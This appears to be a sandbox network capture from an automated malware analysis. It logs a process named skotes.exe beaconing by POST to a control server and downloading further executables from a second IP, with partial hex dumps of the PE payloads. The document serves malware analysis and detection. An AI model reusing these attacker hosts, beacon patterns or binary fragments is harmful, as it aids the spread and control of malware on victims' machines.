10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 19, 2024 14:10:11.782676935 CET	224	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%
Dec 19, 2024 14:10:11.782737017 CET	1236	IN	Data Raw: 03 9a 99 28 de 39 c1 02 3c 9f 5f 07 7b 3b b2 00 b7 ae d7 74 6f 85 80 52 4f 1f 65 f3 11 d5 ea aa cb 37 b8 97 99 bd 98 59 d6 b2 7d 58 2f 03 43 c3 c0 83 99 4e 37 53 11 b3 a4 15 45 24 c0 eb f4 28 0a f6 b8 1d 22 b0 9e 28 a5 23 9f b0 3d 01 06 1a fd 14 Data Ascii: (9<_{;toROe7Y}X/CN7SE$("(#=E@pw9RoyorX]i#-da,WQgn1ttuOG_gyf=O'\@&e:NJMqxC(R9VobP#k
Dec 19, 2024 14:10:11.782808065 CET	1236	IN	Data Raw: 00 00 0a 13 04 06 6f 10 00 00 0a 1f 0d 6a 59 13 05 07 06 11 04 11 05 09 6f 1a 00 00 06 2a 00 00 00 13 30 07 00 e8 04 00 00 03 00 00 11 20 80 01 00 00 0a 20 80 01 00 00 8d 2c 00 00 01 25 d0 02 00 00 04 28 11 00 00 0a 0b 1f 10 8d 2c 00 00 01 0c 20 Data Ascii: ojYo*0 ,%(, 79d : a%$^E${?P@ZW6Qv!_8
Dec 19, 2024 14:10:11.782821894 CET	1236	IN	Data Raw: 5d f2 34 5a 20 85 d8 21 a1 61 38 79 fb ff ff 11 06 1f 0d 11 06 1f 0d 95 08 1f 0d 95 61 9e 11 06 1f 0e 11 06 1f 0e 95 08 1f 0e 95 61 9e 11 0c 20 92 86 6d 1c 5a 20 ed a5 68 b5 61 38 48 fb ff ff 2a 13 30 08 00 a7 02 00 00 04 00 00 11 02 20 ff ba 88 Data Ascii: ]4Z !a8yaa mZ ha8H*0 Z &a JGW 8a%^E0U;H8C~%X~%Xb`~%Xb`~%Xb`~%
Dec 19, 2024 14:10:11.782835960 CET	1236	IN	Data Raw: 00 0a 6f 13 00 00 0a 11 05 28 14 00 00 0a 13 06 11 07 20 f4 67 21 0a 5a 20 b3 62 bc 69 61 38 2b fe ff ff 06 6e 16 6a 33 08 20 d7 16 a9 e8 25 2b 06 20 81 22 6b af 25 26 38 11 fe ff ff 06 6e 18 6a 2e 08 20 1a 68 5b a7 25 2b 06 20 8e da 3d ff 25 26 Data Ascii: o( g!Z bia8+nj3 %+ "k%&8nj. h[%+ =%&8~%X~%Xb`~%Xb`~%Xb` dZ oa8 TG@Z ba8~( P0Z g6a8h*0
Dec 19, 2024 14:10:11.783029079 CET	1236	IN	Data Raw: b3 10 5a 20 6f 5f fd 81 61 38 33 ff ff ff 11 06 a5 01 00 00 1b 0b 11 07 20 13 a9 22 50 5a 20 29 99 41 0b 61 38 18 ff ff ff 28 16 00 00 0a 7e 01 00 00 04 02 08 6f 17 00 00 0a 28 18 00 00 0a a5 01 00 00 1b 0b 11 07 20 65 ea 5e 8d 5a 20 da d9 30 d1 Data Ascii: Z o_a83 "PZ )Aa8(~o( e^Z 0a8 ?_b &NZ gna8nj. DM%+ Lg%&8~%X~%Xb`~%Xb`~%Xb`~%X~%Xb`~%
Dec 19, 2024 14:10:11.783046961 CET	1236	IN	Data Raw: ff ff 17 8d 01 00 00 1b 0d 11 07 20 30 21 21 3a 5a 20 63 d9 9c 31 61 38 6e fd ff ff 02 18 62 10 00 11 07 20 31 27 7a 42 5a 20 65 a3 9e de 61 38 56 fd ff ff 28 16 00 00 0a 7e 01 00 00 04 02 08 6f 17 00 00 0a 28 18 00 00 0a a5 01 00 00 1b 0b 11 07 Data Ascii: 0!!:Z c1a8nb 1'zBZ ea8V(~o( BZ (lca8' )3Z \a80 }0{d{Z :Ox )*a%^EpCu\|O"
Dec 19, 2024 14:10:11.783063889 CET	1236	IN	Data Raw: 00 00 94 00 00 00 54 00 00 00 05 00 00 00 30 00 00 00 7f 00 00 00 19 00 00 00 38 8f 00 00 00 08 17 58 0c 11 04 20 7a 9c 9e b1 5a 20 50 90 12 9e 61 2b b7 02 03 06 58 8f 02 00 00 02 04 28 0a 00 00 06 0d 20 ec b2 0d 71 2b a0 06 17 62 0a 06 09 58 0a Data Ascii: T08X zZ Pa+X( q+bX_b` Z 1Sa8\| \Z ma8i2 l%+ Q%&8Q #9Z `a8<*0} lz o\_a%^EnL=+l
Dec 19, 2024 14:10:11.783075094 CET	108	IN	Data Raw: 05 17 ce 5a 20 ad c5 63 85 61 38 79 ff ff ff 2a 00 13 30 05 00 84 00 00 00 05 00 00 11 02 7b 17 00 00 04 03 2e 7a 20 d4 4f c7 52 20 61 b7 3f 17 61 25 0b 1a 5e 45 04 00 00 00 dc ff ff ff 02 00 00 00 56 00 00 00 3b 00 00 00 2b 54 02 03 7d 17 00 00 Data Ascii: Z ca8y*0{.z OR a?a%^EV;+T}{(}{
Dec 19, 2024 14:10:11.902165890 CET	1236	IN	Data Raw: 00 10 00 00 28 1a 00 00 0a 0a 07 20 92 09 a8 a0 5a 20 30 b2 03 90 61 2b a6 02 7b 11 00 00 04 06 6f 2b 00 00 06 07 20 92 5a eb ec 5a 20 ed 56 fe f9 61 2b 8b 2a 13 30 05 00 0e 00 00 00 01 00 00 11 02 7b 10 00 00 04 03 04 6f 21 00 00 06 2a 00 00 13 Data Ascii: ( Z 0a+{o+ ZZ Va+0{o!0m_b{o Q ta%^E5+3{o iZ a+Y} SuZ sa+*0{o{{o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49773	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:16.276145935 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017608001&unit=246122658369
Dec 19, 2024 14:10:17.611336946 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49775	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:17.733503103 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:19.114595890 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:18 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 19, 2024 14:10:19.114610910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:19.122140884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:19.234025002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:19.234040022 CET	896	IN	Data Raw: bf b4 55 79 0f 9b ce 2f 6e 6d ed 4f 09 0d df 74 20 dd 56 71 87 34 cb d8 cb 18 60 a9 e4 de 21 14 b7 a4 d3 c7 09 60 c9 0a f4 14 20 72 7f 4c eb d5 0d 5d c8 8a 9c 93 20 ee 3c 2d ee 0b c5 05 eb 14 62 6a 5a fb f0 d6 3c 1b 31 e7 a9 33 f9 bf 32 f0 ce b0 Data Ascii: Uy/nmOt Vq4`!` rL] <-bjZ<132nqw!Cva<QH5QDkgZE4=<IUdfgbb sa1"xV:Zj)0bQ-.W0e%HTb$
Dec 19, 2024 14:10:19.234050989 CET	1236	IN	Data Raw: 8c 15 68 d8 93 b4 35 a8 16 58 d6 23 5c fe 2f 10 20 50 20 3d fa c9 e1 58 f4 4c 5e 81 e7 32 1b 04 25 90 80 ef d9 28 2b fe 62 35 63 c8 e5 20 d4 dc 0f b4 c5 68 a4 54 2a fc 79 9c 4e 05 74 34 5a 3b 91 21 cb 70 75 18 5e f9 95 2f 01 cc a0 3c b6 0a 38 48 Data Ascii: h5X#\/ P =XL^2%(+b5c hT*yNt4Z;!pu^/<8HjQ!}XmjQgSMf_{-i}/{">l`Rd!.#Y3.,~m$Q'G<mV POlQ6xsp0R1: <7Q
Dec 19, 2024 14:10:19.234062910 CET	224	IN	Data Raw: eb 08 de 74 37 5f 96 d0 ec c0 82 57 da 1c 4b 71 c1 9f 17 e3 28 1f 22 82 b6 99 4c 20 be 2d ae 3c 32 38 3b ba ef c5 35 24 76 69 ab 77 ec 85 2f 73 7f 33 0a bb 50 b0 5d d1 9b b5 23 dc d4 22 57 2b 60 74 4e 31 b4 9a fc 4d e0 51 77 c0 93 7f 5a 09 e5 35 Data Ascii: t7_WKq("L -<28;5$viw/s3P]#"W+`tN1MQwZ56x.kde!%pYTgb&])xrtHf9m}u-^U.tvW'CU\w@Xd=a@mY%9x
Dec 19, 2024 14:10:19.238662004 CET	1236	IN	Data Raw: 64 80 2c 49 b6 2c 00 d3 d3 65 4e 38 c9 50 06 f7 7b 3d a1 73 f8 5a af 84 37 4e 63 bf 3b ae d1 16 2a 5b e5 10 8c 9e c8 e2 5a d3 70 92 52 42 4d ed 33 56 fc 87 e3 49 15 09 a6 bc ba 95 e9 d1 61 ca 99 36 d0 18 f0 3d be c8 57 2d 96 f7 6a cb 71 db ce 68 Data Ascii: d,I,eN8P{=sZ7Nc;*[ZpRBM3VIa6=W-jqhKp[~qnv,(!#{KSqfst=71[l;}REMqSE<`U5sNl?i%:8uGV^Ov[sjl .
Dec 19, 2024 14:10:19.238673925 CET	224	IN	Data Raw: ea 23 86 3d bb 86 36 8e 46 42 9a 16 16 5a 2a 28 fb 48 4f 70 c1 a0 62 73 92 13 55 09 b1 05 cc 5d 50 bf 03 e6 db a4 a4 19 29 17 1d 3a ff 2e a0 ca 37 48 46 e8 74 1d fc 55 85 1d 9d e0 15 6c 9e 1a 7a 50 27 26 a2 75 52 40 f5 82 36 12 7c 5a 02 73 36 68 Data Ascii: #=6FBZ(HOpbsU]P):.7HFtUlzP'&uR@6\|Zs6hSx)7ea'4jM#<b^qU-\|*<-raz8af5/)PWh'=+M"6VD%Iuv35R,syrz[1g;
Dec 19, 2024 14:10:19.242027998 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
Dec 19, 2024 14:10:19.354067087 CET	1236	IN	Data Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16 Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui\|l'$y%2SO[?wcI59:QlJO9%5q;^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49795	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:24.725214005 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017609001&unit=246122658369
Dec 19, 2024 14:10:26.016612053 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49800	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:26.145215988 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:27.477637053 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:27 GMT Content-Type: application/octet-stream Content-Length: 4450816 Last-Modified: Thu, 19 Dec 2024 11:46:36 GMT Connection: keep-alive ETag: "6764079c-43ea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 a0 bd 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 bd 00 00 04 00 00 15 98 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 84 bd 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 83 bd 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2`I@D@ _isiL piH(@.rsrciX(@.idata iZ(@ 8i\(@souunsyzp f^(@zkkgfegkC@.taggant0"C@
Dec 19, 2024 14:10:27.477695942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:27.477708101 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:27.477730989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:27.477741957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: uN4e*Mq e
Dec 19, 2024 14:10:27.477752924 CET	448	IN	Data Raw: 20 44 38 23 10 5b f9 da 5c 0e ab fc f9 1c 86 6c 99 d4 a7 e0 27 1a 2e 20 3d 76 46 d3 df 33 42 f1 43 36 2d a4 40 0f d7 ac aa 54 fc 2f 8a c1 e0 49 95 cb dc bb c8 02 89 66 65 b3 01 35 b7 57 4e b5 f7 b6 81 75 4a 34 ba ba c6 c7 33 bd 2c 64 57 cc 85 6e Data Ascii: D8#[\l'. =vF3BC6-@T/Ife5WNuJ43,dWncU,EpF\u6y,22ieXaHuie-xL1hXS+QQ4T4H";B@IX((xI\OS'Iy/d\|83:TI?
Dec 19, 2024 14:10:27.477770090 CET	1236	IN	Data Raw: 23 14 4d f3 a6 24 8e df c8 49 77 3b 44 79 49 52 fa 96 9c fb d6 b9 19 eb dd ea e5 ea f6 6a 43 4f 5c 5e f6 57 0a 4c b2 d8 bb 11 82 c5 e6 a2 b6 48 f2 ca 55 48 8f 5a 56 8b 15 fa e0 7a 85 66 a2 af b3 33 4a e9 e1 58 4b 83 d6 96 43 3f e0 8a c2 a8 b0 f1 Data Ascii: #M$Iw;DyIRjCO\^WLHUHZVzf3JXKC?F4$N05_ Am%Z.KWL;B"4e?4+A$7ew3)b$uJk^Gb }dZh{'{z!xc@ISo{5ep9kCa
Dec 19, 2024 14:10:27.477927923 CET	1236	IN	Data Raw: 5b 6a b3 ac 9c 74 3a d5 07 6d 69 89 0b ae 9f ae 95 06 33 f6 47 42 75 c9 4b 36 71 fe 26 e0 61 af 5c 9a 36 7f f7 c5 5a 6b 61 3a b1 48 fd 7e 6b 16 7b de 17 71 fb d6 f5 ef 90 56 d0 6b 8b 04 a9 b2 d9 78 60 b0 60 47 9a a6 8c 59 eb b7 93 bd ba 7e c7 5d Data Ascii: [jt:mi3GBuK6q&a\6Zka:H~k{qVkx``GY~]Xq`oxtmY"Yi^sx vj7:q_11`EHl%uzS"=HS"`<7 ?6R&::Gmu.d:"9xKNXMvwWp9j
Dec 19, 2024 14:10:27.478009939 CET	1236	IN	Data Raw: 15 dd fc 09 19 0a 87 12 3b c5 43 c8 d1 9e ba f3 d4 1f d8 bb 30 73 b5 ff c6 42 d9 fb 15 42 ba 36 bf 18 88 cd 2b a9 e3 69 a7 97 e8 30 f5 47 8e b7 27 6b d4 47 06 39 c1 ee 98 ba 75 ff 47 34 9f 03 66 31 43 f0 e7 46 47 a2 27 59 3b 16 1b bb c6 5a ec 88 Data Ascii: ;C0sBB6+i0G'kG9uG4f1CFG'Y;ZzrHykCVDoartIFT}:-8qoAQyA}2]yH_FI3VE<H,u.Jt@5p@xdI>&DIbe\+!
Dec 19, 2024 14:10:27.478022099 CET	1236	IN	Data Raw: 7c da c1 50 26 ca 56 c9 02 90 65 ad a2 55 34 20 16 be ce b7 25 76 91 02 96 0c 60 58 14 02 7a c2 d0 3a b5 e4 77 7a b3 70 f6 ca f3 47 02 92 82 97 5e 05 f5 62 4f 01 f3 5b 77 27 58 aa 5e 64 3b 00 97 ce a3 3a 54 10 53 d0 f1 43 46 37 41 3a 87 5d 94 64 Data Ascii: \|P&VeU4 %v`Xz:wzpG^bO[w'X^d;:TSCF7A:]dd5KBBt4v5RQc:@q,n$!dO>+d(BV89bM2X9<MniVm-'/5XMgz)oZ6H>
Dec 19, 2024 14:10:27.598401070 CET	1236	IN	Data Raw: 4c a2 3e 2f 51 f6 50 aa 5e 70 e3 12 5d aa 62 83 a3 9c 0f 92 b9 2c 33 b2 bc 73 13 ac e2 c5 1b 8b 90 ed ef 80 c3 c2 dc d7 31 66 81 c7 ca 83 53 a0 ca b0 52 1d 48 c1 bc f5 0f 35 00 9b 53 f8 33 b6 65 ee 71 8e 5a 55 72 a2 50 2d 7a b3 48 c9 1a 33 ed e3 Data Ascii: L>/QP^p]b,3s1fSRH5S3eqZUrP-zH3p8 Y9~eCh(NO8JdkA*j@=z_\|<k/m(]&EC>>'Ak[96+lf)`"H`dNU54x1UQoS=0$xVqV^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49829	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:36.993336916 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017610001&unit=246122658369
Dec 19, 2024 14:10:38.316076040 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49837	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:38.439840078 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:39.765423059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:39 GMT Content-Type: application/octet-stream Content-Length: 1988608 Last-Modified: Thu, 19 Dec 2024 11:46:25 GMT Connection: keep-alive ETag: "67640791-1e5800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^K@L}\@Vjl <@.rsrclL@.idata T@ )V@vxwcoufq1X@pnspstgaK2@.taggant0K"6@
Dec 19, 2024 14:10:39.765450001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:39.765465975 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:10:39.765598059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
